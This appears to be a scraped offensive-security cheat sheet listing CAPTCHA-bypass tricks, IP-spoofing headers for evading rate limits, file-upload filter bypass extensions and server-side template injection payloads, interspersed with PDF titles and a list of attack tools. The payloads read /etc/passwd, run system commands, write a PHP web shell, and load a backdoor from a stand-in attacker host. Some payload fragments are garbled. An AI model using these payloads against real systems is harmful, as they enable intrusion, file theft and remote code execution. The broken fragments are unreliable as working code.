Tryhackme.pdf

CAPTCHA Bypass

* Send old captcha value.
* Send old captcha value with old session ID.
* Remove captcha with any adblocker and request again
* Bypass with OCR
* Response manipulation.
* Use any token with the same length(+1/-1).
* Remove the param value or remove the entire parameter.
* Change the method from POST to GET(or PUT) and remove the captcha.
* Change body to JSON or vice-versa.
* Check whether the value of the captcha is in the source code.
* Add headers:
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1

APIs Fuzzing for Bug Bounty.pdf

Google Dorks to Find Sensitive data or dir

SSTI (Server Side Template Injection)

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

Rate Limit Bypass Techniques:

Adding HTTP Headers to Spoof IP and Evade Detection:

X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

File Upload Bypass -

Blacklisting Bypass
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr

Whitelisting Bypass
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg

Awesome Sqlmap Tampers-1.pdf

Wifi Penetration Testing : WPA2/WPA3 Handshake Capture & Cracking Workflow

Netdiscover

Zmap

Sqlmap

Hydra

Winpeas

Airodump-Ng

Meterpreter

Bloodhound

Impacket

Crackmapexec (CME)

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